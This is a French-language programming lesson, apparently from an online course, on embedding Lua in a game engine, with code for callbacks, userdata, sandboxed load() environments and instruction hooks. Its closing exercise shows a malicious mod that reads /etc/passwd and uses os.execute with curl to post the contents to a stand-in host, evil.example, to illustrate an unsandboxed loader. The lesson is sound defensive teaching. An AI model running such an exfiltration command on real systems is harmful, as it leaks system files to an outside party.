Retour au cours

games / lua

Intégration avec un moteur hôte (niveau expert)

Leçon 131 exercice

Explication

Ce que vous allez apprendre

  • Comprendre le rôle d'un moteur hôte qui expose ses fonctions et objets au script Lua
  • Reconnaître le type userdata et son usage pour représenter des objets natifs C/C++
  • Mettre en place le pattern callback/événement universel entre moteur et script
  • Construire un environnement sandboxé restreint avec load(code, nom, "t", env)
  • Limiter les ressources d'un script tiers avec un hook d'instructions (debug.sethook)

Dans quel contexte ?

Un moteur de jeu veut permettre à sa communauté de créer des "mods" en Lua, sans jamais qu'un mod mal écrit (ou malveillant) ne puisse planter le serveur entier, accéder au disque, ou bloquer indéfiniment la boucle de jeu avec une boucle infinie. C'est précisément le problème que cette leçon aborde : comment un moteur hôte peut exposer juste ce qu'il faut à un script, ni plus ni moins.

Pourquoi Lua est presque toujours "hébergé" par autre chose

Contrairement à un langage comme Python, qu'on lance souvent seul, Lua est conçu dès l'origine pour être embarqué à l'intérieur d'une application hôte plus grande — un jeu vidéo écrit en C++, une application de bureau. Le rôle de Lua est d'offrir un langage de script léger que ce moteur hôte pilote et enrichit avec ses propres fonctionnalités : c'est la logique de "on écrit le moteur dans un langage rapide, et on écrit le contenu/comportement dans un langage de script flexible".

Comment le moteur "parle" au script

Le moteur hôte expose ses propres fonctions et objets sous forme de globales accessibles depuis le script Lua (RegisterEvent, GetPlayer...). Cette exposition suit presque toujours le même schéma universel : des callbacks (des fonctions Lua enregistrées, que le moteur appellera lui-même à des moments précis de son cycle de vie) et des objets spéciaux appelés "userdata", qui représentent des structures natives du moteur (écrites en C/C++) tout en se manipulant depuis Lua comme des tables ordinaires.

Le sandboxing : un besoin qui devient critique dès qu'on ouvre la porte aux tiers

Dès qu'un moteur permet à des utilisateurs externes d'écrire leurs propres scripts (des "mods"), la question de la confiance devient centrale : un script tiers ne devrait jamais pouvoir accéder au système de fichiers, exécuter des commandes système, ou faire planter le moteur entier. Le sandboxing consiste à charger ce script avec un environnement volontairement restreint (load(code, nom, "t", environnementRestreint)), qui ne contient que les fonctions jugées sûres.

Limiter les ressources, pas seulement les accès

Un script sandboxé peut encore contenir une boucle infinie accidentelle, qui bloquerait tout le moteur. Un mécanisme de "hook d'instructions" (debug.sethook) permet d'interrompre un script après un nombre d'opérations défini — une protection distincte du sandboxing d'accès, mais tout aussi nécessaire dès qu'on exécute du code auquel on ne fait pas entièrement confiance.

Élément exposé par le moteurRôle
Globales/fonctions (RegisterEvent)Point d'entrée pour le script
userdataObjet natif C/C++ manipulable comme une table
Callback (OnUpdate)Appelé par le moteur à un moment précis du cycle de vie

Piège fréquent

Charger un script tiers avec load() SANS lui fournir un environnement restreint (4ème argument) lui donne un accès complet à l'environnement global réel du processus hôte — y compris io, os.execute et tout le système de fichiers. Toujours passer une table d'environnement minimale explicite.

Commandes & code

Intégration avec un moteur hôte (niveau expert)

Lua est conçu pour être embarqué : un moteur hôte (jeu, application) écrit en C/C++ (ou autre) l'utilise comme langage de script, exposant ses propres fonctions et objets au code Lua.

lua
-- Côté script Lua : le moteur hôte expose généralement des fonctions/tables globales spécifiques
-- (les noms varient selon le moteur : ceci illustre le PATTERN général, pas une API précise)
RegisterEvent("onPlayerSpawn", function(player)
  print(player.name .. " est apparu dans le monde")
  player:setHealth(100)
end)

RegisterCommand("heal", function(source, args)
  local target = GetPlayer(tonumber(args[1]))
  if target then
    target:setHealth(100)
  end
end)
lua
-- "userdata" : type Lua représentant un objet natif C/C++ opaque, exposé avec des métaméthodes
-- Depuis le script, un userdata se manipule comme une table grâce à sa métatable définie côté hôte
local entity = GetEntity(42)              -- retourne un userdata représentant une entité du moteur
print(type(entity))                        -- "userdata", pas "table"
entity:setPosition(10, 0, 20)               -- méthode exposée par le moteur via une métatable C
print(entity.health)                         -- propriété exposée via __index défini côté hôte
lua
-- Callbacks et événements : pattern universel d'intégration script/moteur
-- Le moteur appelle une fonction Lua enregistrée à des moments précis de son cycle de vie
local handlers = {}

function OnUpdate(deltaTime)      -- appelée par le moteur hôte à chaque frame, nom réservé par convention
  for _, handler in ipairs(handlers) do
    handler(deltaTime)
  end
end

local function registerUpdateHandler(fn)
  table.insert(handlers, fn)
end

registerUpdateHandler(function(dt)
  -- logique de jeu exécutée chaque frame, dt = temps écoulé depuis la frame précédente
end)
lua
-- Sandboxing : restreindre ce qu'un script peut faire, essentiel si des scripts tiers/utilisateurs sont chargés
-- (cas fréquent des moteurs de jeu permettant le modding)
local function createSandbox()
  local env = {
    print = print,
    pairs = pairs, ipairs = ipairs,
    tostring = tostring, tonumber = tonumber,
    math = math, string = string, table = table,
    -- délibérément absent : io, os.execute, require, debug -> pas d'accès disque/système depuis un script sandboxé
  }
  env._G = env   -- empêche l'accès à l'environnement global réel du processus hôte
  return env
end

local sandboxEnv = createSandbox()
local untrustedCode = "print('hello from mod script')"
local fn = load(untrustedCode, "mod_chunk", "t", sandboxEnv)   -- 4ème argument : table d'environnement personnalisée
if fn then
  fn()   -- exécute le code UNIQUEMENT avec accès aux fonctions listées dans sandboxEnv
end
lua
-- Limiter les ressources d'un script tiers (protection contre une boucle infinie ou un script malveillant)
-- Technique du "instruction count hook" côté C (illustré ici conceptuellement en pseudo-code Lua/API debug)
debug.sethook(function()
  error("script suspendu: limite d'instructions dépassée")
end, "", 1000000)   -- se déclenche après 1 000 000 instructions exécutées, quel que soit le "count" du hook

-- Dans un vrai moteur hôte, cette limite protège contre un script de mod qui boucle indéfiniment
-- et bloquerait sinon toute la boucle de jeu (le thread principal du moteur)
lua
-- Sérialisation de données Lua <-> moteur hôte (souvent via JSON pour l'interopérabilité, ex: config, NUI, réseau)
local function serializeSimple(t)
  local parts = {}
  for k, v in pairs(t) do
    local value = type(v) == "string" and string.format("%q", v) or tostring(v)
    table.insert(parts, string.format("%s=%s", tostring(k), value))
  end
  return "{" .. table.concat(parts, ",") .. "}"
end

print(serializeSimple({ x = 10, y = 20, name = "spawn_point" }))
-- {x=10,y=20,name="spawn_point"}  (ordre non garanti, illustratif - en pratique utiliser une vraie lib JSON)
text
-- Points d'attention niveau expert pour l'intégration moteur hôte
1. Ne jamais faire confiance aux données reçues du moteur ou d'un autre script tiers sans validation
2. Le sandboxing est essentiel dès que des scripts non écrits par l'équipe cœur sont chargés (mods, plugins)
3. Limiter les ressources (instructions, mémoire, temps d'exécution) pour éviter qu'un script bloque le moteur
4. Bien comprendre le cycle de vie exposé par le moteur (quand les callbacks sont appelés, dans quel ordre)
5. Le garbage collector Lua et la gestion mémoire du moteur hôte (C/C++) sont deux mondes distincts à synchroniser

Résumé

  • Un moteur hôte expose généralement des globales/callbacks et des userdata représentant ses objets natifs.
  • Le pattern callback/événement (RegisterEvent, OnUpdate) est la façade universelle d'intégration script/moteur.
  • Le sandboxing (load avec un environnement restreint) est indispensable dès que des scripts tiers sont exécutés.
  • Limiter les ressources d'exécution (hooks d'instructions, timeouts) protège le moteur contre un script défaillant.

Exercices pratiques

1 disponible
1

Mission : le mod communautaire qui a lu tout le disque

Objectif : Diagnostiquer une faille de chargement de mods sans sandbox, puis construire un environnement restreint correct pour l'exécution de scripts tiers.

Contexte

Un moteur de jeu permet à sa communauté de charger des mods Lua avec ce code :

lua
local function loadMod(modCode)
  local fn = load(modCode, "mod_chunk")   -- aucun 4ème argument !
  if fn then
    fn()
  end
end

loadMod([[
  local f = io.open("/etc/passwd", "r")
  local content = f:read("*a")
  os.execute("curl -X POST https://evil.example/exfil -d '" .. content .. "'")
]])

Un mod malveillant vient de lire un fichier système et de l'envoyer sur Internet via ce chargement. L'équipe veut aussi que le moteur puisse exposer un objet entity natif (représentant une entité C++ du moteur) manipulable depuis un script comme entity:setPosition(10, 0, 20).

Résoudre l’exercice →